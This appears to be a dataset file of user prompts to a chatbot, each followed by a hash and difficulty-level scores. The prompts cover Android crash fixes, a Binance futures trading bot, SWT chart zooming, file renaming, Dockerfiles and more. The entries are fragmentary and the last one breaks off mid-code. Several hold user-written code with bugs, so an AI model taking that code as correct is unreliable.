147 30 40.0 2 12 0 0
148 30 40.0 3 8 0 0
149 30 40.0 4 9 0 0
150 30 40.0 5 14 0 1
The whole point was to add time to this simulation and make wynik_sim[1][stacja odbioru] updated after some time. There is a mistake in logic here. Try diffrent approach.
|
698149c3810a21b3c07786b1ff27cf29
|
{
"intermediate": 0.275691956281662,
"beginner": 0.45887118577957153,
"expert": 0.26543691754341125
}
|
9,352
|
What is the command line to compile boost 1.80 in order to generate boost_zlib in 32 bit?
|
88e31170d4214ec80ca8970030affbbd
|
{
"intermediate": 0.4246826767921448,
"beginner": 0.2038136124610901,
"expert": 0.37150371074676514
}
|
9,353
|
[
{
"old code": "0101010231",
"new": "0101010401",
"አማርኛ": "ፉርኖ ዱቄት የስንዴ አንደኛ ደረጃ",
"መለኪያ": "ኪ.ግ",
"ENGLISH NAMES": "Furno Duket (Local processed)",
"UoM": "KG"
},
{
"old code": "0101010233",
"new": "0101010402",
"አማርኛ": "ሴርፋም የታሸገ",
"መለኪያ": "ኪ.ግ",
"ENGLISH NAMES": "Serifam",
"UoM": "KG"
},
{
"old code": "0101010228",
"new": "0101010403",
"አማርኛ": "በቆሎ/ሙሉ ነጭ/ዱቄት",
"መለኪያ": "ኪ.ግ",
"ENGLISH NAMES": "Maize( full white) milled",
"UoM": "KG"
}, based on the above json write a node.js scrip to loop over a json of the below format and find by the old code from the above json and change the code on the below json to the new code of the above json [
{
"ITEM PRICE IN BIRR": "NAME",
"": "CODE",
"__1": "Month",
"__2": "Market Name?",
"__3": "",
"__4": "",
"__5": "",
"__6": "ASAYITA",
"__7": "",
"__8": "SEMERA LOGIA",
"__9": "",
"__10": "MELKA WERER",
"__11": "",
"__12": "AWASH 7 KILO",
"__13": "",
"__14": "",
"__15": "",
"__16": "",
"__17": "",
"__18": "",
"__19": "",
"__20": "",
"__21": "",
"__22": "",
"__23": "",
"__24": "",
"__25": ""
},
{
"ITEM PRICE IN BIRR": "",
"": "",
"__1": "",
"__2": "Source?",
"__3": "",
"__4": "",
"__5": "",
"__6": 1,
"__7": 2,
"__8": 1,
"__9": 2,
"__10": 1,
"__11": 2,
"__12": 1,
"__13": 2,
"__14": "",
"__15": "",
"__16": "",
"__17": "",
"__18": "",
"__19": "",
"__20": "",
"__21": "",
"__22": "",
"__23": "",
"__24": "",
"__25": ""
},
{
"ITEM PRICE IN BIRR": "",
"": "",
"__1": "",
"__2": "Market Code?",
"__3": "VARIATION",
"__4": "STDEV",
"__5": "GEOMEAN",
"__6": "0201011",
"__7": "",
"__8": "0201023",
"__9": "",
"__10": "0203011",
"__11": "",
"__12": "0203022",
"__13": "",
"__14": "min",
"__15": "max",
"__16": "ratio",
"__17": "",
"__18": "",
"__19": "",
"__20": "",
"__21": "",
"__22": "",
"__23": "",
"__24": "",
"__25": ""
},
{
"ITEM PRICE IN BIRR": "Enjera(teff mixed)",
"": "0101010101",
"__1": 1,
"__2": "325G",
"__3": 0.14,
"__4": 1.93,
"__5": 13.99,
"__6": 13,
"__7": 13.41,
"__8": 16.14,
"__9": 16.53,
"__10": 14.08,
"__11": 11.47,
"__12": "",
"__13": "",
"__14": 11.47,
"__15": 16.53,
"__16": 1.441150828,
"__17": "",
"__18": "",
"__19": "",
"__20": "",
"__21": "",
"__22": "",
"__23": "",
"__24": "",
"__25": ""
},
{
"ITEM PRICE IN BIRR": "Bread traditional(Ambasha)",
"": "0101010102",
"__1": 1,
"__2": "350G",
"__3": 0.15,
"__4": 2.65,
"__5": 18.06,
"__6": 21.88,
"__7": 17.87,
"__8": "",
"__9": "",
"__10": "-",
"__11": "-",
"__12": 17.45,
"__13": 15.58,
"__14": 15.58,
"__15": 21.88,
"__16": 1.40436457,
"__17": "",
"__18": "",
"__19": "",
"__20": "",
"__21": "",
"__22": "",
"__23": "",
"__24": "",
"__25": ""
}]
|
0f8bf12475d3111ec11658a2d03c548b
|
{
"intermediate": 0.1764882355928421,
"beginner": 0.6372958421707153,
"expert": 0.1862158477306366
}
|
9,354
|
hi
|
b590b4d3bc5938da2afc48fb27116bc8
|
{
"intermediate": 0.3246487081050873,
"beginner": 0.27135494351387024,
"expert": 0.40399640798568726
}
|
9,355
|
Here is an example of Neo4j Java code for a time-varying graph with a parametrizable schema
|
96cbfb87f61b4bead5baf46f4177ac81
|
{
"intermediate": 0.5200809240341187,
"beginner": 0.13555489480495453,
"expert": 0.344364196062088
}
|
9,356
|
Please create me a detailed example, with comments, analysis and associativity rules for Market Basket Analysis with Orange Data Mining Tools
|
c736cd7e5a5c955ce79481e59262b567
|
{
"intermediate": 0.36693716049194336,
"beginner": 0.15784092247486115,
"expert": 0.4752218723297119
}
|
9,357
|
Create matrix A which is contain 3 columns . at first column is date format from first of June to end of September , and in the second Column is 24 hours for each day and the third column is equal to zero for every hours of day.
|
b17464aa276fce8dc4e7cbd04b510203
|
{
"intermediate": 0.3001796007156372,
"beginner": 0.2420627474784851,
"expert": 0.4577576816082001
}
|
9,358
|
How to draw multiple x-axes in Python
|
c38b11a940d94397fabb7d8f1272e89e
|
{
"intermediate": 0.4058174788951874,
"beginner": 0.2624707520008087,
"expert": 0.33171170949935913
}
|
9,359
|
Исправь ошибки в этом коде ;package com.example.myapp_2.UI.view.activities;
import androidx.appcompat.app.AppCompatActivity;
import androidx.fragment.app.DialogFragment;
import android.app.DatePickerDialog;
import android.app.Dialog;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.os.Bundle;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.DatePicker;
import android.widget.TextView;
import com.example.myapp_2.Data.Discount_Get_table.DatePickerFragment;
import com.example.myapp_2.R;
import com.example.myapp_2.databinding.ActivityReserveTableBinding;
import java.text.DateFormat;
import java.util.Calendar;
public class ReserveTableActivity extends AppCompatActivity implements DatePickerDialog.OnDateSetListener, AdapterView.OnItemSelectedListener {
Dialog dialog;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityReserveTableBinding binding = ActivityReserveTableBinding.inflate(getLayoutInflater());
setContentView(binding.getRoot());
Intent intent = getIntent();
String restaurantName = intent.getStringExtra("restaurantName");
binding.restaurantName.setText(restaurantName);
binding.back.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_CANCELED, resultIntent);
finish();
}
});
binding.pickDate.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
DialogFragment datePicker = new DatePickerFragment();
datePicker.show(getSupportFragmentManager(), "date picker");
}
});
ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(this, R.array.times_of_day, android.R.layout.simple_spinner_item);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
binding.pickTime.setAdapter(adapter);
binding.pickTime.setOnItemSelectedListener(this);
binding.sendAnApplication.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
showCustomDialog(v);
}
});
binding.minus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
if(number > 1){
binding.amountQuests.setText(Integer.toString(number-1));
}
}
});
binding.plus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
binding.amountQuests.setText(Integer.toString(number+1));
}
});
}
private void showCustomDialog(View v) {
dialog.setContentView(R.layout.table_dialog);
dialog.getWindow().setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));
Button submit = dialog.findViewById(R.id.submit);
Button close = dialog.findViewById(R.id.close);
TextView date = dialog.findViewById(R.id.date);
TextView time = dialog.findViewById(R.id.time);
TextView amountOfQuests = dialog.findViewById(R.id.amountOfQuests);
TextView wishes = dialog.findViewById(R.id.wishes);
TextView name = dialog.findViewById(R.id.person_name);
TextView phoneNumber = dialog.findViewById(R.id.phoneNumber);
TextView date1 = v.findViewById(R.id.date);
TextView time1 = v.findViewById(R.id.time);
TextView amountOfQuests1 = v.findViewById(R.id.amountOfQuests);
TextView wishes1 = v.findViewById(R.id.wishes);
TextView name1 = v.findViewById(R.id.person_name);
TextView phoneNumber1 = v.findViewById(R.id.phoneNumber);
date.setText(date1.getText());
time.setText(time1.getText());
amountOfQuests.setText(amountOfQuests1.getText());
wishes.setText(wishes1.getText());
name.setText(name1.getText());
phoneNumber.setText(phoneNumber1.getText());
close.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_OK, resultIntent);
finish();
}
});
submit.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_OK, resultIntent);
finish();
}
});
}
@Override
public void onDateSet(DatePicker view, int year, int month, int dayOfMonth) {
Calendar c = Calendar.getInstance();
c.set(Calendar.YEAR, year);
c.set(Calendar.MONTH, month);
c.set(Calendar.DAY_OF_MONTH, dayOfMonth);
String currentDateString = DateFormat.getDateInstance(DateFormat.FULL).format(c.getTime());
TextView textView = (TextView) findViewById(R.id.date);
textView.setText(currentDateString);
}
@Override
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
// String text = parent.getItemAtPosition(position).toString();
// Toast.makeText(parent.getContext(),text,Toast.LENGTH_SHORT).show();
}
@Override
public void onNothingSelected(AdapterView<?> parent) {
}
}E/AndroidRuntime: FATAL EXCEPTION: main
Process: com.example.myapp_2, PID: 3477
java.lang.NullPointerException: Attempt to invoke virtual method 'void android.app.Dialog.setContentView(int)' on a null object reference
at com.example.myapp_2.UI.view.activities.ReserveTableActivity.showCustomDialog(ReserveTableActivity.java:89)
at com.example.myapp_2.UI.view.activities.ReserveTableActivity.access$000(ReserveTableActivity.java:27)
at com.example.myapp_2.UI.view.activities.ReserveTableActivity$3.onClick(ReserveTableActivity.java:65)
at android.view.View.performClick(View.java:7448)
at com.google.android.material.button.MaterialButton.performClick(MaterialButton.java:1211)
at android.view.View.performClickInternal(View.java:7425)
at android.view.View.access$3600(View.java:810)
at android.view.View$PerformClick.run(View.java:28305)
|
74f36c55f69392e6bbf800db996d5cd1
|
{
"intermediate": 0.3422791659832001,
"beginner": 0.3900359570980072,
"expert": 0.2676849365234375
}
|
9,360
|
How delete new untacked files from working tree in git?
|
2ffbeb8f0769a3184dc4e70b746713ca
|
{
"intermediate": 0.54783695936203,
"beginner": 0.1437748223543167,
"expert": 0.3083881437778473
}
|
9,361
|
привет, помоги с рефакторингом
if (playerTransform != null)
{
transform.position = playerTransform.transform.TransformPoint(poseAction[inputSource].localPosition);
if (!isFireExtinguisherUse)
{
if (isFireExtinguisher)
{
transform.localEulerAngles = new Vector3(0, -90, 0);
return;
}
}
if (IsBoxFireExtinguisher)
{
var angle = playerTransform.rotation * poseAction[inputSource].localRotation;
transform.rotation = Quaternion.Euler(0, angle.eulerAngles.y, 0);
return;
}
transform.rotation = playerTransform.rotation * poseAction[inputSource].localRotation;
}
}
|
092cda3bfdeccf527870d95fd6e5dd43
|
{
"intermediate": 0.3426941931247711,
"beginner": 0.36856961250305176,
"expert": 0.28873613476753235
}
|
9,362
|
Вот код , укажи как исправить этуи ошибки : package com.example.myapp_2.UI.view.activities;
import androidx.appcompat.app.AppCompatActivity;
import androidx.fragment.app.DialogFragment;
import android.app.DatePickerDialog;
import android.app.Dialog;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.os.Bundle;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.DatePicker;
import android.widget.TextView;
import com.example.myapp_2.Data.Discount_Get_table.DatePickerFragment;
import com.example.myapp_2.R;
import com.example.myapp_2.databinding.ActivityReserveTableBinding;
import java.text.DateFormat;
import java.util.Calendar;
public class ReserveTableActivity extends AppCompatActivity implements DatePickerDialog.OnDateSetListener, AdapterView.OnItemSelectedListener {
Dialog dialog;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityReserveTableBinding binding = ActivityReserveTableBinding.inflate(getLayoutInflater());
setContentView(binding.getRoot());
Intent intent = getIntent();
String restaurantName = intent.getStringExtra("restaurantName");
binding.restaurantName.setText(restaurantName);
binding.back.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_CANCELED, resultIntent);
finish();
}
});
binding.pickDate.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
DialogFragment datePicker = new DatePickerFragment();
datePicker.show(getSupportFragmentManager(), "date picker");
}
});
ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(this, R.array.times_of_day, android.R.layout.simple_spinner_item);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
binding.pickTime.setAdapter(adapter);
binding.pickTime.setOnItemSelectedListener(this);
binding.sendAnApplication.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
showCustomDialog(v);
}
});
binding.minus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
if(number > 1){
binding.amountQuests.setText(Integer.toString(number-1));
}
}
});
binding.plus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
binding.amountQuests.setText(Integer.toString(number+1));
}
});
}
private void showCustomDialog(View v) {
dialog.setContentView(R.layout.table_dialog);
dialog.getWindow().setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));
Button submit = dialog.findViewById(R.id.submit);
Button close = dialog.findViewById(R.id.close);
TextView date = dialog.findViewById(R.id.date);
TextView time = dialog.findViewById(R.id.time);
TextView amountOfQuests = dialog.findViewById(R.id.amountOfQuests);
TextView wishes = dialog.findViewById(R.id.wishes);
TextView name = dialog.findViewById(R.id.person_name);
TextView phoneNumber = dialog.findViewById(R.id.phoneNumber);
TextView date1 = v.findViewById(R.id.date);
TextView time1 = v.findViewById(R.id.time);
TextView amountOfQuests1 = v.findViewById(R.id.amountOfQuests);
TextView wishes1 = v.findViewById(R.id.wishes);
TextView name1 = v.findViewById(R.id.person_name);
TextView phoneNumber1 = v.findViewById(R.id.phoneNumber);
date.setText(date1.getText());
time.setText(time1.getText());
amountOfQuests.setText(amountOfQuests1.getText());
wishes.setText(wishes1.getText());
name.setText(name1.getText());
phoneNumber.setText(phoneNumber1.getText());
close.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_OK, resultIntent);
finish();
}
});
submit.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_OK, resultIntent);
finish();
}
});
}
@Override
public void onDateSet(DatePicker view, int year, int month, int dayOfMonth) {
Calendar c = Calendar.getInstance();
c.set(Calendar.YEAR, year);
c.set(Calendar.MONTH, month);
c.set(Calendar.DAY_OF_MONTH, dayOfMonth);
String currentDateString = DateFormat.getDateInstance(DateFormat.FULL).format(c.getTime());
TextView textView = (TextView) findViewById(R.id.date);
textView.setText(currentDateString);
}
@Override
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
// String text = parent.getItemAtPosition(position).toString();
// Toast.makeText(parent.getContext(),text,Toast.LENGTH_SHORT).show();
}
@Override
public void onNothingSelected(AdapterView<?> parent) {
}
}E/AndroidRuntime: FATAL EXCEPTION: main
Process: com.example.myapp_2, PID: 4288
java.lang.NullPointerException: Attempt to invoke virtual method 'void android.app.Dialog.setContentView(int)' on a null object reference
at com.example.myapp_2.UI.view.activities.ReserveTableActivity.showCustomDialog(ReserveTableActivity.java:89)
at com.example.myapp_2.UI.view.activities.ReserveTableActivity.access$000(ReserveTableActivity.java:27)
at com.example.myapp_2.UI.view.activities.ReserveTableActivity$3.onClick(ReserveTableActivity.java:65)
at android.view.View.performClick(View.java:7448)
|
41e7d6a7f0ec8dfbc090115a85cf1f06
|
{
"intermediate": 0.34126317501068115,
"beginner": 0.48560962080955505,
"expert": 0.1731271743774414
}
|
9,363
|
create a python file that has a root folder input and then looks through all items in that folder
if the item is a .ydd then
check the name for
feet and add _r to the end
lowr and add _r to the end
teef and add _u to the end
every other .ydd add _u to the end
if the file is a .ytd
do the same renaming as above
|
1603324587071d0f9d80ed0b37799454
|
{
"intermediate": 0.4048272669315338,
"beginner": 0.15409985184669495,
"expert": 0.44107288122177124
}
|
9,364
|
Write me a Python function to compute the Kelly Criterion
|
a000d485af5973cf1effd17f67a7fc6a
|
{
"intermediate": 0.30392882227897644,
"beginner": 0.19332528114318848,
"expert": 0.5027458667755127
}
|
9,365
|
Что нужно исправить в коде , тут перестала работать финальна кнопка : package com.example.myapp_2.UI.view.activities;
import androidx.appcompat.app.AppCompatActivity;
import androidx.fragment.app.DialogFragment;
import android.app.DatePickerDialog;
import android.app.Dialog;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.os.Bundle;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.DatePicker;
import android.widget.TextView;
import com.example.myapp_2.Data.Discount_Get_table.DatePickerFragment;
import com.example.myapp_2.R;
import com.example.myapp_2.databinding.ActivityReserveTableBinding;
import java.text.DateFormat;
import java.util.Calendar;
public class ReserveTableActivity extends AppCompatActivity implements DatePickerDialog.OnDateSetListener, AdapterView.OnItemSelectedListener {
Dialog dialog;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityReserveTableBinding binding = ActivityReserveTableBinding.inflate(getLayoutInflater());
setContentView(binding.getRoot());
dialog = new Dialog(this);
Intent intent = getIntent();
String restaurantName = intent.getStringExtra("restaurantName");
binding.restaurantName.setText(restaurantName);
binding.back.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_CANCELED, resultIntent);
finish();
}
});
binding.pickDate.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
DialogFragment datePicker = new DatePickerFragment();
datePicker.show(getSupportFragmentManager(), "date picker");
}
});
ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(this, R.array.times_of_day, android.R.layout.simple_spinner_item);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
binding.pickTime.setAdapter(adapter);
binding.pickTime.setOnItemSelectedListener(this);
binding.sendAnApplication.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
showCustomDialog(v);
}
});
binding.minus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
if(number > 1){
binding.amountQuests.setText(Integer.toString(number-1));
}
}
});
binding.plus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
binding.amountQuests.setText(Integer.toString(number+1));
}
});
}
private void showCustomDialog(View v) {
dialog.setContentView(R.layout.table_dialog);
dialog.getWindow().setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));
Button submit = dialog.findViewById(R.id.submit);
Button close = dialog.findViewById(R.id.close);
TextView date = dialog.findViewById(R.id.date);
TextView time = dialog.findViewById(R.id.time);
TextView amountOfQuests = dialog.findViewById(R.id.amountOfQuests);
TextView wishes = dialog.findViewById(R.id.wishes);
TextView name = dialog.findViewById(R.id.person_name);
TextView phoneNumber = dialog.findViewById(R.id.phoneNumber);
TextView date1 = v.findViewById(R.id.date);
TextView time1 = v.findViewById(R.id.time);
TextView amountOfQuests1 = v.findViewById(R.id.amountOfQuests);
TextView wishes1 = v.findViewById(R.id.wishes);
TextView name1 = v.findViewById(R.id.person_name);
TextView phoneNumber1 = v.findViewById(R.id.phoneNumber);
if (date1 != null) {
if (date1.getText() != null) {
date.setText(date1.getText());
}
}
if (time1 != null) {
if (time1.getText() != null) {
time.setText(time1.getText());
}
}
if (amountOfQuests1 != null) {
if (amountOfQuests1.getText() != null) {
amountOfQuests.setText(amountOfQuests1.getText());
}
}
if (wishes1 != null) {
if (wishes1.getText() != null) {
wishes.setText(wishes1.getText());
}
}
if (name1 != null) {
if (name1.getText() != null) {
name.setText(name1.getText());
}
}
if (phoneNumber1 != null) {
if (phoneNumber1.getText() != null) {
phoneNumber.setText(phoneNumber1.getText());
}
}
close.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_OK, resultIntent);
finish();
}
});
submit.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_OK, resultIntent);
finish();
}
});
}
@Override
public void onDateSet(DatePicker view, int year, int month, int dayOfMonth) {
Calendar c = Calendar.getInstance();
c.set(Calendar.YEAR, year);
c.set(Calendar.MONTH, month);
c.set(Calendar.DAY_OF_MONTH, dayOfMonth);
String currentDateString = DateFormat.getDateInstance(DateFormat.FULL).format(c.getTime());
TextView textView = (TextView) findViewById(R.id.date);
textView.setText(currentDateString);
}
@Override
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
// String text = parent.getItemAtPosition(position).toString();
// Toast.makeText(parent.getContext(),text,Toast.LENGTH_SHORT).show();
}
@Override
public void onNothingSelected(AdapterView<?> parent) {
}
}
|
355a4a3a9e43a5df05039329ba41e2a3
|
{
"intermediate": 0.3140650689601898,
"beginner": 0.5190132856369019,
"expert": 0.16692166030406952
}
|
9,366
|
Hello, You are an expert eclipse RCP developper. I need your help on using SWT CHart :
I have this class that is a zoom listener for my chart with the mouse :
public class MouseWheelZoomListener implements MouseWheelListener {
private boolean zoomXCentred;
private boolean zoomYCentred;
private Chart chart;
private ListMessages messages;
public MouseWheelZoomListener(Chart chart, ListMessages messages) {
this(false, false);
this.chart = chart;
this.messages=messages;
}
public MouseWheelZoomListener(boolean zoomXCentred, boolean zoomYCentred) {
this.zoomXCentred = zoomXCentred;
this.zoomYCentred = zoomYCentred;
}
@Override
public void mouseScrolled(MouseEvent event) {
if ((event.stateMask & SWT.CTRL) == SWT.CTRL) {
//Chart chart = ReSpefo.getChart();
//manageXAxis();
if (event.count > 0) {
if (zoomXCentred && zoomYCentred) {
chart.getAxisSet().zoomIn();
} else {
Rectangle bounds = chart.getPlotArea().getBounds();
if (zoomXCentred) {
for (IAxis axis : chart.getAxisSet().getXAxes()) {
axis.zoomIn();
}
} else {
Range chartXRange = chart.getAxisSet().getXAxis(0).getRange();
double realX = chartXRange.lower + ((chartXRange.upper - chartXRange.lower) * ((double)event.x / bounds.width));
for (IAxis axis : chart.getAxisSet().getXAxes()) {
axis.zoomIn(realX);
}
}
if (zoomYCentred) {
for (IAxis axis : chart.getAxisSet().getYAxes()) {
axis.zoomIn();
}
} else {
Range chartYRange = chart.getAxisSet().getYAxis(0).getRange();
double realY = chartYRange.upper - ((chartYRange.upper - chartYRange.lower) * ((double)event.y / bounds.height));
for (IAxis axis : chart.getAxisSet().getYAxes()) {
axis.zoomIn(realY);
}
}
}
} else if (event.count < 0) {
chart.getAxisSet().zoomOut();
}
chart.redraw();
}
}
It works overall
The problem is that when I have two LineSeries on my chart that have a different yAxis, I think the zoom doesn't zoom (for the dezoom it seems to work) the same way on the two curves. Therefore one curve gets on top of the other on my chart... Do you know how I can work my way around this problem ? Remember to use SWT methods that exists
|
8e0b854c29a3f9ee853a7c4f0ff5ea31
|
{
"intermediate": 0.39526623487472534,
"beginner": 0.31477630138397217,
"expert": 0.2899574339389801
}
|
9,367
|
Как исправить эти ошибки : E/AndroidRuntime: FATAL EXCEPTION: main
Process: com.example.myapp_2, PID: 7077
java.lang.NullPointerException: Attempt to invoke virtual method 'void android.app.Dialog.setContentView(int)' on a null object reference
at com.example.myapp_2.UI.view.activities.ReserveTableActivity.showCustomDialog(ReserveTableActivity.java:89)
at com.example.myapp_2.UI.view.activities.ReserveTableActivity.access$000(ReserveTableActivity.java:27)
at com.example.myapp_2.UI.view.activities.ReserveTableActivity$3.onClick(ReserveTableActivity.java:65)
at android.view.View.performClick(View.java:7448)
|
bf5f01c9b9c7e9e08917148069ccf5e5
|
{
"intermediate": 0.4057832956314087,
"beginner": 0.37554410099983215,
"expert": 0.21867258846759796
}
|
9,368
|
write a dockerfile to include R, windows server 2022 and install R packages
|
a80f2e863c6a35364d351245c7530e1e
|
{
"intermediate": 0.43316835165023804,
"beginner": 0.1515185534954071,
"expert": 0.41531306505203247
}
|
9,369
|
what is wrong with the following PUML
@startuml
title Sequence Diagram for Creating an Account
User->Client Application: Sends a request to create a new account
Client Application->Account Microservice: Sends a POST request to the account service endpoint
Account Microservice->Database: Saves the new account information in the database
Database-->Account Microservice: Returns a success response
Account Microservice-->Client Application: Returns a success response
Client Application-->User: Displays a success message
@enduml
|
a770d89bd81f37f9c1d91bfc7ad42227
|
{
"intermediate": 0.5986016392707825,
"beginner": 0.16695033013820648,
"expert": 0.23444803059101105
}
|
9,370
|
I used this code: `import time
from binance.client import Client
from binance.enums import *
from binance.exceptions import BinanceAPIException
import pandas as pd
import requests
import json
import numpy as np
import pytz
import datetime as dt
import asyncio
date = dt.datetime.now().strftime("%m/%d/%Y %H:%M:%S")
print(date)
url = "https://api.binance.com/api/v1/time"
t = time.time()*1000
r = requests.get(url)
result = json.loads(r.content)
# API keys and other configuration
API_KEY = ''
API_SECRET = ''
client = Client(API_KEY, API_SECRET)
STOP_LOSS_PERCENTAGE = -50
TAKE_PROFIT_PERCENTAGE = 100
MAX_TRADE_QUANTITY_PERCENTAGE = 100
POSITION_SIDE_SHORT = 'SELL'
POSITION_SIDE_LONG = 'BUY'
symbol = 'BTCUSDT'
quantity = 1
order_type = 'MARKET'
leverage = 125
max_trade_quantity_percentage = 1
client = Client(API_KEY, API_SECRET)
async def getminutedata(symbol, interval, lookback):
klines = client.futures_historical_trades(symbol=symbol,interval=interval, limit=lookback, endTime=int(time.time()*1000))
# Cast tuples to lists
klines = [list(map(str, kline)) for kline in klines]
frame = pd.DataFrame(klines, columns=['Open time', 'Price', 'Qty', 'QuoteQty', 'Time', 'Buyer Maker', 'Best Match'])
frame = frame[['Open time', 'Price', 'Qty']]
frame['Open time'] = pd.to_datetime(frame['Open time'], unit='ms').dt.tz_localize('UTC').dt.tz_convert('Etc/GMT+3')
frame.set_index('Open time', inplace=True)
frame.drop(frame.tail(1).index, inplace=True) # Drop the last candle we fetched
return frame
df = getminutedata('BTCUSDT', '1m', 44640)
def signal_generator(df):
open = df.Price.iloc[-1]
close = df.Price.iloc[-1]
previous_open = df.Price.iloc[-2]
previous_close = df.Price.iloc[-2]
# Bearish pattern
if (open>close and
previous_open<previous_close and
close<previous_open and
open>=previous_close):
return 'sell'
# Bullish pattern
elif (open<close and
previous_open>previous_close and
close>previous_open and
open<=previous_close):
return 'buy'
# No clear pattern
else:
return ''
def order_execution(symbol, signal, max_trade_quantity_percentage, leverage):
signal = signal_generator(df)
max_trade_quantity = None
account_balance = client.futures_account_balance()
usdt_balance = float([x['balance'] for x in account_balance if x['asset'] == 'USDT'][0])
max_trade_quantity = usdt_balance * max_trade_quantity_percentage/100
# Close long position if signal is opposite
long_position = None
short_position = None
positions = client.futures_position_information(symbol=symbol)
for p in positions:
if p['positionSide'] == 'LONG':
long_position = p
elif p['positionSide'] == 'SHORT':
short_position = p
if long_position is not None and short_position is not None:
print("Multiple positions found. Closing both positions.")
if long_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=long_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
if short_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=short_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
print("Both positions closed.")
if signal == 'buy':
position_side = POSITION_SIDE_LONG
opposite_position = short_position
elif signal == 'sell':
position_side = POSITION_SIDE_SHORT
opposite_position = long_position
else:
print("Invalid signal. No order placed.")
return
order_quantity = 0
if opposite_position is not None:
order_quantity = min(max_trade_quantity, abs(float(opposite_position['positionAmt'])))
if opposite_position is not None and opposite_position['positionSide'] != position_side:
print("Opposite position found. Closing position before placing order.")
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if
opposite_position['positionSide'] == POSITION_SIDE_LONG
else
SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=True,
positionSide=opposite_position['positionSide']
)
time.sleep(1)
order = client.futures_create_order(
symbol=symbol,
side=SIDE_BUY if signal == 'buy' else SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=False,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side, # add position side parameter
leverage=leverage
)
if order is None:
print("Order not placed successfully. Skipping setting stop loss and take profit orders.")
return
order_id = order['orderId']
print(f"Placed {signal} order with order ID {order_id} and quantity {order_quantity}")
time.sleep(1)
# Set stop loss and take profit orders
# Get the order details to determine the order price
order_info = client.futures_get_order(symbol=symbol, orderId=order_id)
if order_info is None:
print("Error getting order information. Skipping setting stop loss and take profit orders.")
return
order_price = float(order_info['avgPrice'])
# Set stop loss and take profit orders
stop_loss_price = order_price * (1 + STOP_LOSS_PERCENTAGE / 100) if signal == 'sell' else order_price * (1 - STOP_LOSS_PERCENTAGE / 100)
take_profit_price = order_price * (1 + TAKE_PROFIT_PERCENTAGE / 100) if signal == 'buy' else order_price * (1 - TAKE_PROFIT_PERCENTAGE / 100)
stop_loss_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_STOP_LOSS,
quantity=order_quantity,
stopPrice=stop_loss_price,
reduceOnly=True,
